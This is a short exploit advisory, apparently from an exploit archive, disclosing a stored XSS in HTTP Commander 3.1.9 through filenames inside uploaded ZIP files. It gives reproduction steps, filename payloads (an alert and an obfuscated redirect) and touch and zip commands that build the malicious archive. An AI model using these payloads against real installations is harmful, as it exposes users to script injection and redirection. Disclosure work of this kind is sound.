# Date: 07/01/2022
# Exploit Author: Oscar Sandén
# Vendor Homepage: https://www.element-it.com
# Software Link: https://www.element-it.com/downloads.aspx
# Version: 3.1.9
# Tested on: Windows Server 2016
[Description]
There is a stored XSS in the 'Zip content' feature of the HTTP
commander application. The vulnerable field is the filename of the
files inside the zip. This vulnerability exists in 3.x of the HTTP
commander application.
[Steps to reproduce]
1) Create a file with a xxs payload in its name. Examples:
<img src=x onerror=alert(1)>.txt
<img src=x
onerror="document.location='https:'+String.fromCharCode(47)+String.fromCharCode(47)+'exploit-db.com'">.txt
Or some other JS you like.
2) Zip the files
3) Upload the ZIP-file
4) In HTTP commander, right click the file and select
ZIP-content.
5) If the files are in a subfolder, expand it until the filenames
are shown.
[Exploit]
touch payload/<img src=x onerror=alert(1)>.txt
Zip -r test.zip /payload
